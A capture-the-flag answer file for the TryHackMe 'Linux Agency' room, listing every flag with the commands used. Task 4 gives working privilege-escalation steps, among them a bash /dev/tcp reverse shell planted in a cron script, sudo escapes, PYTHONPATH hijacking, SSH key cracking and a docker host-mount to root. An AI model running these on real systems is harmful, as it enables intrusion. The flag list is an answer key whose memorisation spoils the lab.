-
Notifications
You must be signed in to change notification settings - Fork 0
/
Linux Agency
280 lines (213 loc) · 6.63 KB
/
Linux Agency
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#Task 3 - Linux Fundamentals
- What is the mission1 flag?
mission1{174dc8f191bcbb161fe25f8a5b58d1f0}
- What is the mission2 flag?
mission2{8a1b68bb11e4a35245061656b5b9fa0d}
- What is the mission3 flag?
mission3{ab1e1ae5cba688340825103f70b0f976}
- What is the mission4 flag?
mission4{264a7eeb920f80b3ee9665fafb7ff92d}
- What is the mission5 flag?
mission5{bc67906710c3a376bcc7bd25978f62c0}
- What is the mission6 flag?
mission6{1fa67e1adc244b5c6ea711f0c9675fde}
- What is the mission7 flag?
mission7{53fd6b2bad6e85519c7403267225def5}
- What is the mission8 flag?
mission8{3bee25ebda7fe7dc0a9d2f481d10577b}
- What is the mission9 flag?
hint: find / -type f -user mission8 -name "*flag*" 2>/dev/null
mission9{ba1069363d182e1c114bef7521c898f5}
- What is the mission10 flag?
hint: grep -i "mission10" rockyou.txt
mission10{0c9d1c7c5683a1a29b05bb67856524b6}
- What is the mission11 flag?
hint: find . -type f -exec cat {} \; | grep "mission11"
mission11{db074d9b68f06246944b991d433180c0}
- What is the mission12 flag?
hint: cat /home/mission11/.bashrc | grep "flag"
echo $flag
mission12{f449a1d33d6edc327354635967f9a720}
- What is the mission13 flag?
hint: ls -la
chmod a+r flag.txt
mission13{076124e360406b4c98ecefddd13ddb1f}
- What is the mission14 flag?
hint: ls -la
chmod a+x+w
cat flag.txt | base64 -d
mission14{d598de95639514b9941507617b9e54d2}
- What is the mission15 flag?
hint: Flag.txt is in binary, and convert it into ascii using ASCII,Hex,Binary,Decimal,Base64 converter
https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html
cat flag.txt
mission15{fc4915d818bfaeff01185c3547f25596}
- What is the mission16 flag?
hint: cat flag.txt
cat flag.txt | xxd -r -p
or: Enter hex file https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html
mission16{884417d40033c4c2091b44d7c26a908e}
- What is the mission17 flag?
hint: ls -la
file flag
---> file sh
chmod +x flag
./flag
mission17{49f8d1348a1053e221dfe7ff99f5cbf4}
- What is the mission18 flag?
hint: javac flag.java
java flag
mission18{f09760649986b489cda320ab5f7917e8}
- What is the mission19 flag?
hint: ruby flag.rb
mission19{a0bf41f56b3ac622d808f7a4385254b7}
- What is the mission20 flag?
hint: gcc flag.c -o flag
mission20{b0482f9e90c8ad2421bf4353cd8eae1c}
- What is the mission21 flag?
hint: python flag.py
mission21{7de756aabc528b446f6eb38419318f0c}
- What is the mission22 flag?
cat .bashrc
echo "fWZhYTk0ZDI0YjQ4OTZlMmE2ZGU5ODgwYmU0N2FhYzQyezIybm9pc3NpbQo="|base64 -d|rev
or: bash -i
mission22{24caa74eb0889ed6a2e6984b42d49aaf}
- What is the mission23 flag?
hint: import pty; pty.spawn("/bin/bash")
ls -la
mission23{3710b9cb185282e3f61d2fd8b1b4ffea}
- What is the mission24 flag?
hint: cat messenge.txt
cat /etc/hosts
curl linuxagency | grep "mission"
or curl http://mission24.com | grep "mission"
mission24{dbaeb06591a7fd6230407df3a947b89c}
- What is the mission25 flag?
hint:./bribe
cat .viminfo
export pocket=money
./bribe
mission25{61b93637881c87c71f220033b22a921b}
- What is the mission26 flag?
hint: ls
echo $PATH
/bin/ls ../mission26
/bin/cat ../mission26/flag.txt
mission26{cb6ce977c16c57f509e9f8462a120f00}
- What is the mission27 flag?
hint: file flag.jpg
strings flag.gpg | grep mission
mission27{444d29b932124a48e7dddc0595788f4d}
- What is the mission28 flag?
hint: gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
or gunzip flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
string flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png | grep mission
mission28{03556f8ca983ef4dc26d2055aef9770f}
- What is the mission29 flag?
hint: exec "/bin/bash"
cat cat txt.galf | rev
mission29{8192b05d8b12632586e25be74da2fff1}
- What is the mission30 flag?
hint: grep -iRl mission30{ 2> /dev/null
cat .htpasswd | grep mission
mission30{d25b4c9fac38411d2fcb4796171bda6e}
- What is viktor's Flag?
hint: cd ../mission30
cd Escalator
ls -alh
git log
viktor{b52c60124c0f8f85fe647021122b3d9a}
#Task 4 - Privilege Escalation
- What is dalia's flag?
dalia{4a94a7a7bb4a819a63a33979926c77dc}
hint: find / -type f,d -user viktor 2>/dev/null
cat /etc/crontab
$ip=ip lhost
run nc -lvnp 4444
echo "bash -c 'exec bash -i &>/dev/tcp/$ip/4444 <&1'" > /opt/scripts/47.sh
ls
sudo -l
cat flag.txt
dalia{4a94a7a7bb4a819a63a33979926c77dc}
- What is silvio's flag?
hint: TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
whoami
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat flag.txt
sudo -l
silvio{657b4d058c03ab9988875bc937f9c2ef}
- What is reza's flag?
hint: sudo -l
id
https://gtfobins.github.io/gtfobins/git/#sudo
sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
reza{2f1901644eda75306f3142d837b80d3e}
- What is jordan's flag?
sudo -u jordan /opt/scripts/Gun-Shop.py
sudo -ll
mkdir -p /tmp/shop; echo 'import os; os.system("/bin/bash");' > /tmp/shop/shop.py
sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py
cat /home/jordan/flag.txt | rev
jordan{fcbc4b3c31c9b58289b3946978f9e3c3}
- What is ken's flag?
hint: https://gtfobins.github.io/gtfobins/less/#sudo
sudo -u ken less /etc/profile
!/bin/sh
ken{4115bf456d1aaf012ed4550c418ba99f}
- What is sean's flag?
sudo -u sean vim -c ':!/bin/sh'
ls -als /home/sean
grep -iRl 'sean{' /var/log 2>/dev/null
sean is in the adm group so he can read /var/log
grep -r 'sean{' /var/log 2>/dev/null
sean{4c5685f4db7966a43cf8e95859801281}
- What is penelope's flag?
hint:cd /var/log
grep -s "sean{" *
echo "VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==" | base64 -d
p3nelope
penelope{2da1c2e9d2bd0004556ae9e107c1d222}
- What is maya's flag?
hint: ls -asl /home/penelope
....base64....maya
./base64 "/home/maya/flag.txt" | base64 -d
maya{a66e159374b98f64f89f7c8d458ebb2b}
- What is robert's Passphrase?
hint: ls -als /home/maya
cd old_robert_ssh
scp id_rsa gd@$ip:/home/
locate ssh2john
/usr/share/john/ssh2john id_rsa > hash.txt
john hash.txt --worldlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show
industryweapon
- What is user.txt?
hint: cd old_robert_ssh
ssh -i id_rsa [email protected] -p 2222
pass:industryweapon
ls
sudo -l
sudo -u#-1 /bin/bash
https://www.exploit-db.com/exploits/47502
cd /root
cat user.txt
user{620fb94d32470e1e9dcf8926481efc96}
- What is root.txt?
hint: ls
sudo -l
cd /tmp
./docker ps -a
./docker images ls
/tmp/docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
id
ls
cat root.txt
root{62ca2110ce7df377872dd9f0797f8476}
http://wuvel.net/tryhackme/linux-agency/
https://hamdisevben.medium.com/tryhackme-linux-agency-writeup-walkthrough-more-than-linux-f218dcc5ed2b
https://marcorei7.wordpress.com/2021/03/09/114-linux-agency/
https://blog.raw.pm/en/TryHackMe-Linux-Agency-write-up/
https://writeup.raw.pm/
https://anugrahsr.github.io/posts/THM-Daily-Bugle/